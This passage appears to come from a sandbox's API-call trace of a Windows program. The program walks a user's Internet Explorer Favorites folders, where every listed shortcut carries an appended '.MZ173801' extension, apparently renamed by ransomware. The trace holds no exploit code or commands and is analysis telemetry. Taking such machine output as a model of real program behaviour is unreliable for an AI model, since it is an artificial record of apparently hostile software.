cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.317] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6c4c280, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6c4c280, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0144.317] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6bfffc0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="IE Add-on site.url.MZ173801", cAlternateFileName="IEADD-~1.MZ1")) returned 1 [0144.317] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.317] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.317] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6bfffc0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="IE site on Microsoft.com.url.MZ173801", cAlternateFileName="IESITE~1.MZ1")) returned 1 [0144.317] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.317] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.317] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6c26120, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Microsoft At Home.url.MZ173801", cAlternateFileName="MICROS~1.MZ1")) returned 1 [0144.317] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.317] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.317] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6c26120, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Microsoft At Work.url.MZ173801", cAlternateFileName="MICROS~2.MZ1")) returned 1 [0144.317] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.317] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.317] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6c4c280, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Microsoft Store.url.MZ173801", cAlternateFileName="MICROS~3.MZ1")) returned 1 [0144.317] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.317] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.317] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6c4c280, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Microsoft Store.url.MZ173801", cAlternateFileName="MICROS~3.MZ1")) returned 0 [0144.317] GetLastError () returned 0x12 [0144.317] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.318] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6c4c280, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6c4c280, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.318] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.318] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.318] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6c4c280, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6c4c280, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0144.318] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.318] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.318] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6bfffc0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="IE Add-on site.url.MZ173801", cAlternateFileName="IEADD-~1.MZ1")) returned 1 [0144.318] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.318] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.318] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6bfffc0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="IE site on Microsoft.com.url.MZ173801", cAlternateFileName="IESITE~1.MZ1")) returned 1 [0144.318] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.318] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.318] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6c26120, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Microsoft At Home.url.MZ173801", cAlternateFileName="MICROS~1.MZ1")) returned 1 [0144.318] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.318] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.318] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6c26120, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Microsoft At Work.url.MZ173801", cAlternateFileName="MICROS~2.MZ1")) returned 1 [0144.318] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.318] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.318] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6c4c280, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Microsoft Store.url.MZ173801", cAlternateFileName="MICROS~3.MZ1")) returned 1 [0144.318] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.318] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.318] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6c4c280, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Microsoft Store.url.MZ173801", cAlternateFileName="MICROS~3.MZ1")) returned 0 [0144.318] GetLastError () returned 0x12 [0144.318] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.318] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6ce4800, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6ce4800, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xa03bf443, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0144.318] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0144.318] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.318] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6ce4800, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6ce4800, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.319] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6ce4800, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6ce4800, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0144.319] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6c723e0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSN Autos.url.MZ173801", cAlternateFileName="MSNAUT~1.MZ1")) returned 1 [0144.319] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.319] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.319] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6c723e0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSN Entertainment.url.MZ173801", cAlternateFileName="MSNENT~1.MZ1")) returned 1 [0144.319] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.319] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.319] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6c98540, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSN Money.url.MZ173801", cAlternateFileName="MSNMON~1.MZ1")) returned 1 [0144.319] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.319] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.319] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6c98540, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSN Sports.url.MZ173801", cAlternateFileName="MSNSPO~1.MZ1")) returned 1 [0144.319] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.319] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.319] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6cbe6a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSN.url.MZ173801", cAlternateFileName="MSNURL~1.MZ1")) returned 1 [0144.319] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.319] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.319] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6ce4800, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSNBC News.url.MZ173801", cAlternateFileName="MSNBCN~1.MZ1")) returned 1 [0144.319] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.319] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.319] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6ce4800, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSNBC News.url.MZ173801", cAlternateFileName="MSNBCN~1.MZ1")) returned 0 [0144.319] GetLastError () returned 0x12 [0144.319] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.319] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6ce4800, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6ce4800, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.320] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.320] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.320] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6ce4800, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6ce4800, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0144.320] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.320] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.320] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6c723e0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSN Autos.url.MZ173801", cAlternateFileName="MSNAUT~1.MZ1")) returned 1 [0144.320] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.320] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.320] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6c723e0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSN Entertainment.url.MZ173801", cAlternateFileName="MSNENT~1.MZ1")) returned 1 [0144.320] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.320] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.320] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6c98540, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSN Money.url.MZ173801", cAlternateFileName="MSNMON~1.MZ1")) returned 1 [0144.320] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.320] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.320] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6c98540, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSN Sports.url.MZ173801", 